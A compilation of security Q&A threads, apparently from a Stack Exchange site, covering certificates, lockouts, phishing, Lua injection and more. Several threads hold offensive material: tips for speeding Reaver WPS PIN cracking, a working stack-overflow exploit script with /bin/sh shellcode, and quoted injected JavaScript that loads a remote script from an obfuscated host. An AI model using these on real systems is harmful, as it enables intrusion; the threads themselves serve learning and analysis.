(There does not appear to be an option to selectively deactivate support for asymmetric algorithms. Your server will be deemed to implicitly allow DSA if it has a DSA key, which somehow makes sense. As for client authentication, in the SSH model, this is a decision which is up to each user, who decides to include or not include his RSA/DSA/ECDSA public key in his .ssh/authorized_keys. This might be a case for user education, after all.)


What kind of certificate do I need to be able to make and sign my own digital signing certicates? At build time for a program, I would like to generate a new key pair, and create a certificate that will be embedded (securely) into the program. The purpose of the key pair is to digitally sign an XML document. I would like the to have the chain associated with the key pair go all the way up to my certificate that I have on my build machine, and then up to the CA that signed the cert that went on the build machine.

Is a SSL certificate good enough? Or a code signing certificate? Or is there a specific kind of certificate that I need to request from the CA that I'll be getting my certificate from?

A certificate "must" have exactly the characteristics that verifiers will look for. A "verifier" is any system which will look at your signature and the certificate, and try to decide whether the signature is acceptable.

Most verifiers handling X.509 certificates apply the rules mandated by the X.509 standard and the Internet X.509 profile. There are many such rules; the most important are:

A verifier will need to build a path (or chain) coming for a public key it knows a priori (the trust anchor) down to the end-entity certificate, which is the certificate containing the public key associated with the private key you used to sign the XML document.
Within the path, each certificate (except the last) is used to verify the signature on the next certificate. Each such certificate must have the Basic Constraint extension with the "CA" bit set, marking the certificate as being a CA, i.e. suitable for verifying a signature on the next certificate in the path. Commercial CA normally refuse to issue certificates with the CA bit set, or do so at a hefty price, so chances are that your "certificate on your build machine" is not a CA certificate.
Any certificate may have a Key Usage extension, which spells out the allowed usages for the public key in the certificate. To properly interoperate with common verifiers, an EE certificate used to sign XML document should have a Key Usage extension with the digitalSignature and nonRepudiation flags set (or no Key Usage extension at all). Whether a certificate is "a SSL certificate" or a "code signing certificate" or any other such name, is mostly a matter of what flags are set in its Key Usage extension.
And, of course, the EE certificate should host a public key suitable for signing things, i.e. RSA, DSA, ECDSA... but not Diffie-Hellman.

The important point is that chaining your "embedded certificate" to your "build machine certificate" makes sense only if you want your XML signatures to be verifiable by generic verifiers, who will not know of your specific application, and use a generic set of trust anchors (including the one which sold you your "build machine certificate"). Chances are that it will not work, because it is improbable that your "build machine certificate" has the "CA" bit set. To check the contents of a certificate, use OpenSSL: the command-line tool (already included in MacOS X, any good Linux or *BSD, and available for Windows tool) can be used thus:

openssl x509 -text -noout -in cert.pem
openssl x509 -text -noout -inform DER -in cert.crt

(Use the first if the certificate is in PEM format, the second if it is in DER; or just try both.)

If you control the verifiers (i.e. in your application, the system which will verify the signature on the XML document will be some software that you also provide), then plugging into the build machine certificate up to the commercial CA is useless; you'd be better off creating your own CA and making certificates. OpenSSL can do that, or you could go for a more graphical solution like EJBCA.

I deliberately make no assertion whatsoever on the soundness of your concept of "secure embedding of a certificate".


Directory Listing on WordPress If a WorPress application that uses the Akismet wordpress plugin has certain directory listing exposed publicly, like, akismet-en_AU.po and the other .po files, and directories like plugins, themes, uploads (primarily containing just image files) etc.only accessible,
should this be considered a security flaw ?

I don't think this is security flaw on its own (please read below, as this statement is general and not particular to that plugin), but it does go against good practices, as no one should allow access a resource if that resource doesn't need to be exposed.

This might be a security problem if any of the files exposed have any kind of private data (such as configuration files with DB credentials, or API keys to call a remote service). And even something less desirable is that maybe everything is OK now, but something in your installation might change in a few months and start exposing data, so this means that you might need to re-validate your assumptions with each update.

Bottom line, try to follow good practices and do not allow access if it's not required. Plus wordpress is a very common target for attacks, which increases the risk.


Should email verification be followed by password-based login? Why? A typical account creation process seems to be:

Provide email address and set a password
Receive confirmation email with a link and/or hashed token
Click the link to verify and/or enter the token on the site

However, I once read somewhere (and I can't find this now, which is why I'm asking) that a better process would modify Step 3 to also require the user to login using the password provided in Step 1.  I think the rationale was that this extra precaution ensures that the person verifying the email address is the same person who created the account.
Question: does the above explanation make sense, and should I implement email verification by requiring password-based login?
It makes some sense to me, and at least it doesn't seem harmful -- other than making the user experience slightly more cumbersome.  But I see many online services that do not require this, and I wonder why.
For example, here's the scenario I worry about.  What if person #1 initially created the account but specified the wrong email address (maliciously or accidentally), and it got sent to person #2.  If person #2 is naive, he/she might verify that email address by just clicking the link... and then forget about it.  Then person #1 could still login using the password.  Suppose person #1 does all sorts of bad stuff on that account.  Would person #2 be responsible?
I think an alternative solution might be to ask new users to first specify just an email address, then confirm that with a hashed token, and then ask them to set a password.  But I don't see very many online services that do it this way, either.

You certainly should authenticate the user who clicks the link. Otherwise, as you say, someone could inadvertently confirm an email address. However, it is usually possible to authenticate the user transparently, so they don't need to enter their password.

The way we achieve this is using a session cookie. During the signup process, the new user is issued a session cookie. When they click the confirmation link in the email, they will usually use the same browser, so the session cookie will be attached. The web site can verify the user's identity using that cookie.


How can an "alternate" or duplicate HTTPS certificate be used in an attack? Inspired by an old question from PulpSpy, I'm trying to think of whether this is a significant weakness in the Certificate Authority system. Here are the attack methods that I think would work - please comment, critique, and add more that you can think of:

Get a less-reputable CA to issue a basic HTTPS cert. Manipulate the target's DNS requests to direct traffic to a server you control, which will give the appearance of a "valid" HTTPS connection (in the absence of additional precautions e.g. Certificate Patrol) .
Snipe an active domain, get a reputable CA to issue an EV cert. The existence of the EV cert can be used to delay/prevent the "true" owner from regaining control, because the domain snipers now have better proof of ownership.

I think DNSSEC will protect against #1 in cases where the trust anchors are deployed via browsers (e.g. Firefox), and the browser installer itself is signed. The obvious issue is that not many domains are DNSSEC-enabled. (Counterpoint: Many important domains are DNSSEC-enabled).

Are there any other attack methods?

For SSL itself, a fake certificate can only serve as a way to run a fake server. This requires intercepting the connections from some clients to the true server, and redirect them against your server. Manipulating the DNS is only one way to do that (admittedly, often the easiest) and DNSSEC is meant to protect against that (since DNSSEC is about "securing" with signatures what the DNS servers return). If the attacker controls a router/firewall between the client and the server, he can redirect all the traffic he wants without needing to change anything in the DNS.

Your point #2 is more a Denial-of-Service than anything else. It highlights that when heavier authentication procedures are put in place (e.g. the procedures which are conducted before issuing an EV certificates), it makes mishaps less probable (harder for the attacker) but also deeper (recovery might be longer). This is a point which must be taken into account in the whole security trade-off.


Is the OpenPGP private key inherently password-protected? I know I am required to enter a password every time I use my OpenPGP key.  Is this done via software implementation or is it a property inherent to the protocol, and therefore the key?

Essentially, the question breaks down to:  If someone stole my private key, could they use it without knowledge (or breakage) of my password?

It is possible to leave your PGP key unencrypted (no password), and thus if it were copied it could be used without a password. Encryption of your private key is inherent to the specification (RFC 4880 -- see "String-to-Key" sections), and anytime you're using software that asks for the passphrase for your private key, it is using that for actual decryption. Most modern versions of the software take pains to also avoid allowing the memory used for the unencryped key or passphrase to be swapped to disk.

So no, your private key cannot be used without knowledge or breakage of your password.


How to make Reaver crack WPS faster I have Reaver 1.4 on Ubuntu 14.10 with a Realtek RTL8187SE B/G adapter and it takes almost 5-10 minutes to get from 0.01% to 0.02%. I always have my TX-Power at 30 when I use Reaver, the network is strong, and I run Airodump-ng with Reaver so I can see if I can still catch the network, and it always has lots of Beacons and "#Data" so it couldn't be that the network is weak. How can I fix this?

By default, after each failed attempt, Reaver delays the PIN attempt by 1 second. You can disable this 1 second delay by adding -d 0 to your Reaver command. (This may not work well with all APs)

Also, you can use --dh-small flag to instruct Reaver to use small diffie-hellman secret numbers so that, computational load is reduced on the target AP.

Source: Reaver Wiki


Clarification on "data hiding" and how it applies to hardware? I'm studying for the CISSP exam and one of the practice questions in my study guide has me a bit confused.  The question is:

Which of the following is NOT considered an example of data hiding?

A. Preventing an authorized reader of an object from deleting that object.
B. Keeping a database from being accessed by unauthorized visitors.
C. Restricting a subject at a lower classification level from accessing data at a higher classification level.
D. Preventing an application from accessing hardware directly.

I chose D because I didn't think accessing hardware had anything to do with data itself.  According to the study guide though, the correct answer is A.  Explanation:

  Preventing an authorized reader of an object from deleting that object is just an example of access control, not data hiding.  If you can read an object, it is not hidden from you.

OK, fair enough.  But I still don't understand why my chosen answer was also invalid.  Can someone please help me understand?

The question was "NOT... an example of data hiding" and in option A, you have an authorized reader of the data.  Options B, C and D deal with users, or applications, that do not have permissions to view the data.

In all of these options, consider permissions in relation to the data.  Permissions being the ability to read, write or modify and the only one with any of the three, (read, write, modify) is the authorized reader in option A who has read access.

You may need to shift your thinking for this test.  Coming from a systems background, I failed the test the first time because I took the test with a desktop support/sysadmin mentality.  Try to think from an administrative/managerial approach.  I know that's easy to say because I read it a few times when I was studying for the exam.

Good luck man!


Importance of password strength with secure element? Greetings SE security community.

Background: I have a number of items like certificates, databases, and encrypted file systems that require private keys. In order to avoid having duplicates of these keys on the different systems that use them, I'd like to keep them all in a secure portable location, like an encrypted flash drive. While looking at options for hardware-encrypted flash drives, I noticed that all of them (biometric authentication-based models excluded) had relatively short maximum password/passphrase/PIN lengths. They tended to cap at 16 chars, some even lower; as I'm used to applications like TrueCrypt and KeePass (which have very high password and key length options), this seemed insecure.

Question: When using a secure element for hardware-based encryption that is actually secure and infeasible to tamper with; and assuming that feeding guesses to the device will result in destruction of the data after a very small number of incorrect attempts (e.g. 10); and that the password chosen is not easily human-guessable (a birthday, pet's name, etc); how important is it to have a password whose length and/or complexity makes it computationally infeasible to crack?

Simple Version: Does the password used to authenticate to a hardware token need to be strong, or will an adversary never be able to try cracking it anyway?

The usual computations on password entropy take place in the context of a dictionary attack, especially an offline dictionary attack, where the attacker can try passwords at will without locking anything. When there is an auto-locking tamper-resistant hardware, the context changes.

Conceptual view: there are N possible passwords (to simplify the exposition, I suppose that the possible passwords are equiprobable). The attacker may realistically try K of these passwords. The attacker's probability of success is then K/N. Security is ensured when that probability is sufficiently low that the attacker finds it not worth the effort. Let's arbitrarily set that threshold at 1/1000: if the attacker's probability of success, after (say) one week of cracking efforts, is still only one in a thousands, then he will decide to spend his time on something else (e.g. buying lottery tickets).

When the attacker can obtain a hashed version of the password, K will range from millions (if a good password hashing function like bcrypt was used, with enough iterations) to millions of billions (if a poor password hashing function was used, e.g. a single SHA-1 invocation). To achieve our 1/1000 threshold, N will have to be in (at least) the billions range.

With a device that autolocks after 10 wrong tries, K = 10. The threshold is reached with N = 10000, which is a very small space of possible passwords; you get that with a four-digit code. This is how such an autolock feature makes small/easy passwords satisfyingly secure.

Credit cards with chips do that (usually with K = 3).


Why Does Only 1 Of These 2 Almost-identical Payloads Give Me A Shell? I wrote a vulnerable test program to practice buffer overflows; however, I was having trouble getting it to work. Finally, after slightly modifying the return address, I was able to gain a shell, but I don't understand why this small, seemingly-insignificant change fixed my issue.

vuln.c

/**
 * Compile:
 *
 * $ gcc -fno-stack-protector -z execstack -o vuln vuln.c
 */

#include <stdio.h>
#include <string.h>

int main(void)
{
    char buffer[256];

    gets(buffer);

    if (strcmp(buffer, "password") == 0)
    {
        printf("PASS\n");
    }
    else
    {
        printf("FAIL\n");
    }

    return 0;
}

exploit.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import os
import struct
import sys

# Start-of-buffer = 0x00007fffffffdc50
if len(sys.argv) != 2:
    sys.stderr.write('Usage: {progname!s} return-addr{linesep!s}'.format(
            progname=__file__, linesep=os.linesep
            )
        )
    sys.exit(1)
else:
    return_addr = int(sys.argv[1], 16)

shellcode = b''.join([
        b'\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68',    # mov     rax, 0x68732f6e69622f2f   ; "hs/nib//" => "//bin/sh"
        b'\x48\xc1\xe8\x08',                            # shr     rax, 8
        b'\x50',                                        # push    rax
        b'\x48\x89\xe7',                                # mov     rdi, rsp
        b'\x48\x31\xc0',                                # xor     rax, rax
        b'\x50',                                        # push    rax
        b'\x57',                                        # push    rdi
        b'\x48\x89\xe6',                                # mov     rsi, rsp
        b'\x50',                                        # push    rax
        b'\x48\x89\xe2',                                # mov     rdx, rsp
        b'\xb0\x3b',                                    # mov     al, 59

        b'\x0f\x05',                                    # syscall
        ]
    )

PAYLOAD_SIZE = 256 + 8 + 8

padding = b'\x41' * 32

nopsled = b'\x90' * (PAYLOAD_SIZE - len(shellcode) - 8 - 8 - len(padding))

rbp = struct.pack('<Q', 0x4242424242424242)

rip = struct.pack('<Q', return_addr)

payload = nopsled + shellcode + padding + rbp + rip

sys.stdout.buffer.write(payload)

When I execute the following, I get a SEGFAULT:

$ { python exploit.py 0x00007fffffffdc50 ; echo ; cat - } | ./vuln

However, this gives me a shell:

$ { python exploit.py 0x00007fffffffdcd0 ; echo ; cat - } | ./vuln

Note

I disabled ASLR during my testing.

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Other considerations

$ uname -r
4.19.81-1-MANJARO
$ gcc --version
gcc (GCC) 9.2.0
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

How are you determining the address of buffer[]? If you're running the app under gdb, printing the address, and then running the exploit script using that address against the application running outside gdb, then note that the stack may be at a different address depending on whether you're running under gdb!

For example, I modified vuln.c to print the address when it starts:

printf("%p\n", &buffer[0]);

When I run the application directly, the result is consistently one address:

$ echo x | ./tmp
0x7fffffffe1f0

... but when I run the application under gdb, the result is consistently a different address:

$ echo x | gdb -ex run ./tmp
...
0x7fffffffe1a0

The difference between those two values may be the "0x...50 <-> 0x...d0" difference you're having to apply in order to get the exploit to work.

Now if I use the non-gdb buffer address when running the app outside gdb, the exploit works as expected.

$ ./tmp-exploit.py 0x7fffffffe1f0 | ./tmp
0x7fffffffe1f0
FAIL

$ ./tmp-exploit.py 0x7fffffffe1a0 | gdb -ex run ./tmp
...
0x7fffffffe1a0
FAIL
process 23430 is executing new program: /bin/dash
[Inferior 1 (process 23430) exited normally]
(gdb) quit


Should I be worried about rootkits? *Note: My question is quite specific to my situation. Although there may be an answer out there, I am unsure how to search it. *

I am curious to understand more about optimizing my internet speed for my home computer and thus often check on outgoing connections and seeing what apps are operating at the moment. I do this to make sure new software doesn't have auto updates or cloud services that I didn't explicitly know about. Ex. Skype keeps wanting to login or update but i simply want it there for should it be an only means to reach someone. But i digress.

So this leads me to my main question. After very little research i found out about rootkits and there ability to "trick" the system with false information. I looked this up when noticing a discretion between my resource monitor and the task managers Performance tab. id like to note here that this is Win 10 Home edition. anyway, the connections that i have incoming on my ResMon is tremendously low compared to the Perf tab.  I have included a Pic of these two as they stood side by side. Screenshotted at the same time.

So my question is that could i have something malicious going on, or is there a logical explanation for how the system works.

Rootkits and other backdoors

Short answer:

It depends on your personality, if you prefer security or comfort.
If you prefer comfort, you can download some free antivirus programs for Windows, or pay for some of them, and believe their reports. Than do not worry.
If you care about security, it is an insignificant question if you have a specific rootkit/virus running on your Windows computer, because it is very probable, that you have at least 2 or 3 built-in backdoors, and the long term solution will be leaving certain companies, like Microsoft and Google. You should expect no security or privacy with Skype, Windows or well known computer/phone brands.

Long answer:

I do not know in this specific situation, if you have Computrace, but I heared, that on Win machines it constantly keeps phoning back to company servers, which can be the reason of net traffic. Look for rpcnet.exe and similars. I do not know if it really works to block computrace on Win any more. Depends on your situation. Computrace is practically a built in BIOS spyware/backdoor for most modern computers which can monitor and take control over our device, like wiping the whole drive, etc. You should especially suspect this if you bought a used device.
The next I would say firmware spyware/backdoors, they are also official programs controlling your machine, like audio drivers, support apps and similar phising bloatware preinstalled andor needed for proper functioning.
It can be also Skype, try uninstalling it, and it will cause less crash, lag and probably net traffic too. Sometimes it also acts like a spyware.
Minimal traffic is normal when firefox is running. If you installed other apps, they also might call servers time to time.
If you have no backups, do that now, do a reinstall, do a virus check on the fresh system and your saved files, and start everything new with new passwords. This is the safest what you can do on Windows.

Tip/Solution:

Most of these things can be resolved by using Linux, and there are much more easy-to-use distributions in 2017.

It does not have to use Skype, there are opensource, multiplatform/protocol  secure chat programs.
Linux is less popular and harder to attack by viruses.
It is opensource, so harder to implement backdoors, unlike with Microsoft.
Linux has opensource firmwares, therefore the preinstalled spywares are deleted when you wipe your drive, and not needed to control your device.
Even computrace does not seem to work with Linux. You can not erase it easily from the BIOS, but it will be incapable to run.
There are opensource BIOSes outthere on limited hardware, but it usually needs hardware level knowledge.

Feel free to ask.


Protecting QR Code, Eddystone and NFC against spoofing Let's say I have the following scenario. I have QR Code, Eddystone and/or NFC which contains IP address, with which, my client side application communicates. Let's say this IP address can vary from user to user (or let's say from entity to entity, it can be multiple users). Is there a way to protect these "data holders" (QR Code, Eddystone and/or NFC) against spoofing, i.e. an attacker won't be able to replace my QR code with his own, without my application noticing it?

Size limits

Eddystone - 17 bytes (all used :-/ )
QR Code   - 4,296 characters (+- 60 used)
NFC       - 125 bytes (+- 60 used)

Each IP address can have its own certificate which I do not know in advance. The server is mine but certificate can be replaced by admin which I do not control.

You can place a public key in your application to check the signature related to the IP address.

This signature could be placed in the QR/Edystone/NFC if there is enough room to place it (ECC certs can be small);
or you could host a service on this IP answering a challenge (the app provides a nonce, the service signs it, then the app checks the signature);
or you could provide a service over HTTPS on the IP address and check the HTTPS certificate with your public key.

You will also need a way to protect the private key. I can think of two solutions:

You can have a way to revoke the private keys deployed with the services on the IP address (for example by application update) in case a private key is abused or leaked.
The alternative is to provide the signature service by a web service you own so that you can ensure that the private key will not leak. This second scheme works like this: The application sends a challenge to the service, the service authenticates to your server and forward the challenge, your server sign the challenge then the service returns the signature to the application.


Hacked HTML page - what's in the comment following the obfuscated code? Chrome just warned me about malicious content when visiting a site - so I visited it.

The source code is like the following:

<link href="images/DPT2.ico" title="Dynamic PowerTrainer Manager" rel="shortcut icon">
<title>Dynamic PowerTrainer Manager</title>

<frameset rows="94,*" border="0" frameborder="0" framespacing="0">
  <frame src="header.jsp" name="header"  frameborder="0" marginwidth="0" marginheight="0" noresize>
  <frame src="login.jsp" name="main"  frameborder="0" marginwidth="0" marginheight="0" noresize>

  <noframes>
    Your browser doesn't support frames. You can not see this page.
  </noframes>
</frameset>
<ad></ad>
<b1></b1>

I'm aware of the obfuscated string - it's some javascript stuff, playing with cookies and loading an external script from taktiku.biz

But what's the meaning of the String 8m3vp_oyeNrTzy8o0S/Jz01OLNEvT01KLCgo1k8pKMlNzEtMTy3Sz8lPz8yLTytKzE3VyyousLW1NTQ0NTY0NjQzMgcAmuYUjw==?
Or: are there common reasons to place such a string on injected pages?

When looking at the JavaScript that is written to the document, I see nothing that accesses the comment.
The JavaScript code:

var a = document.cookie; document.cookie = "hop=" + escape("hop") + ";path=/"; var b = navigator.appVersion,
    c = " " + document.cookie,
    d = null,
    e = 0,
    f = 0; if (c.length > 0) {
    e = c.indexOf(" hop=");
    if (e != -1) {
        e += 5;
        f = c.indexOf(";", e);
        if (f == -1) f = c.length;
        d = unescape(c.substring(e, f))
    } } if (d == "hop" && b.toLowerCase().indexOf("win") != -1 && a.indexOf("hip") == -1) {
    var g = ["keg", "kei", "ken", "kep", "kev", "kex", "key", "khi", "kid", "kif"],
        h = Math.floor(Math.random() * g.length);
    dt = new Date;
    dt.setTime(dt.getTime() + 8E7);
    document.cookie = "hip=" + escape("hip") + ";expires=" + dt.toGMTString() + ";path=/";
    document.write('<script type="text/javascript" src="http://' + g[h] + '.\x74\x61\x6b\x74\x69\x6b\x75\x2e\x62\x69\x7a/help/data.js"><\/script>') };

So, I suspect the string in the comment simply looks like Base64 but does in fact nothing at all, and may just have been put there to annoy security researchers because they can't decode it.
Anyway, I wrote a bit of JavaScript that removes characters from the beginning of the string and decodes it if it is valid Base64; however, it only comes up with garbled text.
var str=prompt();while(str.length){
  try{
    var decoded=atob(str);
    prompt("Base64 string "+str+" decoded:",decoded);
  }
  catch(ex){

  }
  str=str.substring(1)
}

Of course, the string may also be some kind of identifier used by the malware creator, or used in some other way.
I can't rule out the possibility that this is encrypted data either, because good encryption produces data that looks entirely random.


Should user account be locked after X amount of failed logins? I have almost finished developing my login system and there is one more thing that I'm not sure about. So many debates I found on the internet about counting invalid logins and locking users account. My system stores user names and passwords (that are salted[for each user different salt] and hashed) in database. If user enters invalid user name or password I keep track of their Username, Password, LoginTime, SessionID, IP and Browser. Here is example:

LoginID   LoginTime                 LoginUN    LoginPW    LoginSessionID    LoginIP     LoginBrowser
   1    2018-03-15 13:40:25.000     jpapis     test       E72E.cfusion      10.18.1.37  Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
  98    2018-03-15 13:48:45.000     mhart      mypass55   E72E.cfusion      10.12.1.87  Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
  32    2018-03-15 14:29:14.000     skatre     1167mmB!   378E.cfusion    10.36.1.17    Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0

I'm wondering if I should lock account after X attempts? If so what would be the best practice to do that? Here is one approach that I found:

SELECT COUNT(LoginID) AS countID, DATEDIFF(mi,LoginTime,GETDATE ( )) AS TimeElapsed
FROM FailedLogins
WHERE (LoginUN = '#username#' OR LoginSessionID = '#SESSION.sessionid#' OR LoginIP = '#REMOTE_ADDR#')
    AND DATEDIFF(mi,LoginTime,GETDATE ( )) <= 60
GROUP BY LoginID, LoginTime
HAVING COUNT(LoginID) >= 5;

Query above will look for username, sessionID or IP address. If either of these it's found in FailedLogin table within 60min and it's greater than 5 I would lock the account. Only problem here is I'm not sure what this would prevent, brute force attack can send way too many attempts in 60min so I'm not sure what would be the benefit of checking failed logins this way. Is there better way to handle failed logins now days? Should I even lock the account? If anyone can provide some thoughts and examples please let me know. Also I want to share some details about the system. We do not have any money transaction in the system or tied to user accounts. We do have sensitive information in the system and that's why I would like to implement security feature to prevent hackers of trying to break password with some of hacker techniques. Thank you.

Account lockouts on remote applications (e.g. where the attacker can't reset the number of attempts without further work) are mostly to prevent easy brute force attacks against accounts. If you have users who select very weak or common passwords, and your system doesn't make any attempts to prevent the use of these, it's entirely possible that an attacker would be able to gain access to some accounts, even with account lockout implemented. However, that doesn't mean that it's not worth implementing - for users who select slightly better passwords, it massively slows an attacker, and may alert you or your users to potential attacks.

This is different to choosing a password storage method, which is generally attempting to defend against attackers who have obtained your user database. Obviously, in that case, you can't stop someone from making as many attempts to guess the password as they like - they can simply hash a bunch of passwords with the salt from your DB and compare until they find a password which gives the same hash.

However, the specific method which you're using to log the failed attempts is a problem. You're logging the username and incorrect password. In most cases, the likelihood of a legitimate user mistyping their password is higher than that of an attacker trying to log into the system. In that case, the log table you're keeping becomes valuable to attackers - it contains usernames with strings which are likely to be close to valid passwords for the accounts. If users have passwords just for your site, this could massively decrease the effort required to brute force passwords if your DB was accessed, and if the users have accounts on other systems with the same passwords, even if the other systems use account lockout schemes, you've just given attackers a much better chance of guessing the correct password within the attempt limit.

You don't need to store the password. You only care about the number of attempts against each account. That could be an integer value linked to the loginid, and would be sufficient for your lockout process. You can separately store the source IP, and monitor for unusual traffic patterns, although you do risk blocking legitimate users who are connecting to your site via NAT-ed connections - mobile providers often group large numbers of users so they appear to be coming from a single IP address, for example.

One common pattern for account lockout is to monitor the number of failed attempts against an account, then to apply incrementing time blocks against that account. For example, after 3 failed attempts, you could block further attempts for 5 minutes. If another 3 failed attempts occur, block the account for 10 minutes, and so on - this can reset once a legitimate login occurs. It can also be useful to show the number of failed attempts to users upon login - if they spot something strange, they can potentially alert you to a problem.

One subtle thing to be aware of with implementing account lockout schemes is that they can act as a username oracle, if implemented poorly. In this case, it is possible to spot distinct behaviour between valid accounts and non-existent accounts, letting an attacker know that a given username is valid. To prevent this, you can either monitor all supplied usernames, and show the same behaviour for non-existent ones as for valid ones, or simply not display when an account is locked. If you choose this, you may cause confusion to users, who may not be able to log in if they're subject to an attack without their knowledge.


How do I switch appearances with Tor when onion routing is disabled? If I run the Tor Browser with onion routing disabled at home, obviously my real IP address is sent to the Web servers I'm connecting to, and Web servers and various third parties can make a decent guess that I'm the same person who's going to different sites because it's the same IP address.

Now, if I clear all my cookies and local storage, go to a friend's place, which has a different IP address, does the rest of Tor's privacy measures make sure that Web servers have no way of fingerprinting my browser as the same one I was using at home, or are there particular measures I must perform to identify as a different user? (Assume I'm browsing casually with no logins, etc.)

I assume the "New identity/circuit" functionality only applies to onion routing, so that would not be a relevant way to appear as a different user in this case because I've disabled the proxy functionality.

If you do not use Tor with Tor Browser, then you will be one of the very few people who have the generally homogenous fingerprint of that browser, but without Tor. While simply restarting the browser is sufficient to destroy all traditional persistent fingerprinting vectors (cookies and "supercookies" and the like), the fact is that you will still likely be the only user a website ever sees which is using Tor Browser without Tor.

Tor Browser can only provide you with anonymity if you have a large anonymity set. That is, everything about your connection applies to millions of other people. Changing any one thing, whether it's the use of your friend's IP instead of Tor or the addition of new browser addons, will reduce the anonymity set considerably and will make you far easier to identify across different sessions. Do not disable Tor.

The New Identity button is functionally equivalent to closing and opening the browser.


Preventing phishing / spear phishing of employees We get a lot of targeted phishing emails to our employees, semi-sophisticated ones where they speak about a project or give an outline brief. We then get back to them and they send us an 'attached PDF', which is always a link to a phishing site requiring a Google or Dropbox password.

We're pretty good at spotting these a mile off, mainly because the fake Google or Dropbox site is crap using pixelated images / graphics, odd spelling etc. (Why they don't just go to Dropbox.com and copy the HTML source is beyond me, but that's their loss.) My fear is that we are getting more and more of these emails and eventually one of them will probably get past us. We also get a lot of spear phishing emails (where the spammer spoofs our domain in the sent field) but luckily we use Google Apps for business email which seems to have a 100% track record of filtering these straight to spam.

To combat it I've got the following in place :

unique passwords for all sites, using 1password
2 factor auth for sites that allow it
Avast anti-virus web extension that blocks some phishing / malware sites (but it doesn't always have every site listed; probably only about 25% of the sites I've come across it picks up)

Things I'm thinking of implementing :

OpenDNS on office router (to create another layer of filtration similar to Avast above, as I believe OpenDNS has an automatic phishing / malware blacklist. Only downside with OpenDNS is it only would cover onsite employees unless it was manually installed as the primary DNS on each device.)

Is there anything else I should be looking at implementing to prevent these attacks ?

Big companies themselves send phishing mails to their employees on a regular basis in an semi-automated fashion. If an employee is trapped then he/she is informed like "what did you do? vs. what should you have done".

The problem is that the weakness phishing targets is not a technical weakness, it is a human non-technical weakness. So in my opinion you will only have limited success if you try to address this with a purely technical solution. I would try to invest as much as possible into awareness training and make sure employees stay aware through training, training, training.

The training can be backed up by a couple of simple very concrete rules like:

if someone calls you and asks for something that looks fishy, try to identify the caller through the enterprise phone directory and call him/her back
never hand out confidential information (like passwords) over phone, email
if network / phone support calls you surprisingly saying they need your support get in contact with phone number XYZ to confirm this is REALLY network / phone support (in this case you need to set up some service at number XYZ that is aware of all maintenance activites in your company)
TBC

Make sure every employee reads and understands this and have them sign off that they did.

My bottom line: Investments in organizational setup to prevent this from happening are probably at least as important as technical counter measures.


Lua loadstring, whitelisting against injection I need to take input from the user of a simple bit of math, they want to solve.
Rather than parse there input myself, I want to just use the lua, loadstring function to load their input and evaluate it.

But I don't want to let them execute abaritary code,
So I am passing the string though a whitelist to make sure they are only using mathematical characters.

function calc(inputEquationStr)
    local startValid, endValid = string.find(inputEquationStr,"[%(%)%.%^%*%+%-/%d]+")
    if startValid>1 or endValid<string.len(inputEquationStr) then
        print("Error: Input doesn't look like math.")
    else
        local funcStr = "return " .. inputEquation
        local mathFunction = loadstring(funcStr)
        assert(mathFunction, "Syntax Error, in input")

        print(mathFunction())
    end

end

function calcOuter(inputStr)
    local success, err = pcall(calc, inputStr)
    if not success then
        print("Error : " .. tostring(err))
    end

end

So the important part as i see it is that I whitelist to only allow +,-,.,*,/,^, () and digits.
Which is done with string.find(inputEquationStr,"[%(%)%.%^%*%+%-/%d]+"

Is this going to be enough to protect against injection?
Is there some kind of way, like hex-encoded strings that I need to watch out for?

I would recommend spending a little effort writing a parser for the arithmetic expressions in the input rather than dynamically executing it as Lua code. Even if you haven't got a third party parsing library available, it's not too difficult to write a lexer that splits up a string in relevant symbols, and then traversing those with a state-machine or recursive function.

Remote-code injection vulnerabilities are very serious, and there are so many possibile avenues for attacks here: what happens if an attacker tries to divide by zero? Or tries exploiting a bug in your Lua interpreter? Or does something weird with character encodings? Or uses some obscure language feature you did not think about? Considering all these matters is probably a lot more work than writing a parser for simple arithmetic expressions.

Even if you were able to choose a whitelist that would render this completely secure, it might still be possible that some future version of Lua introduces some new syntax or feature that would allow a new attack on this.

Another potential issue: if you would want to introduce some new feature in the future (e.g. also allowing users to compute square roots) you would either need to drop this approach and start building a parser anyway; or expand your whitelist, making it more complicated and therefore more likely to be insecure.


Allow a user to check if they are in a database, but reduce the risk of curious third parties checking I have unregistered users on a site, I want them to be able to enter their name and date of birth (DoB) and see if they are in a database.

The act of being present in the database is somewhat sensitive information. How can I reduce the risk of curious third parties from looking up other peoples' information?

I was thinking an additional 2FA identifier such as an email address or phone number could be used in the following steps:

Check that the user controls the email/phone with an email/SMS verification code
Match in the database on NAME+DOB+EMAIL/PHONE

Unfortunately, the email and phone information is only partially populated in the database, meaning the lookup will return many more false negatives than matching only on name and DoB.

Is there any better solution to this problem?

Contact Information present

You have their e-mail or phone number in your database ?

If so, send any information to that contact information and only display a generic "thank you, if you are registered with us you will receive a confirmation to your registered contact information" message on the website. This message is always the same no matter if the user is in the DB or not.

In fact, to thwart timing attacks you should display the message and exit, and do the lookup and sending of mail or SMS in a background batch process.

Rate limiting, etc. was already mentioned, definitely recommended.

No Contact Information

If I understood correctly, you also have users without any contact information. These guys are tricky. The problem is that name and DOB are not secret information in any way. For most people, it takes minutes to find them out, and any skilled attacker can probably find them within an hour for 99% of people.

You need at least some additional information that is more difficult to find out and can work as a shared secret. That is the reasoning behind the various "mothers maiden name" or "name of your first pet" so-called security questions.

If you don't have anything else, there is no secure way to check. In this case you need to make those users identify themselves in some trusted way, e.g. by going to a physical location and showing their passport, or showing their passport on a webcam or some such step, depending on the sensitivity of the data.

This is a fundamental issue that you cannot solve with technology or math, because there simply is not enough non-public information present.

So check if any of the other fields stored in that DB can be used as identifying information.


What is the fail2ban default setting for SSH login attempts? I tried to block myself from my own server to test if fail2ban works correctly, so I tried ssh login and used a wrong password over and over. But I was blocked only after 13 failed logins instead of the default 6 fails.

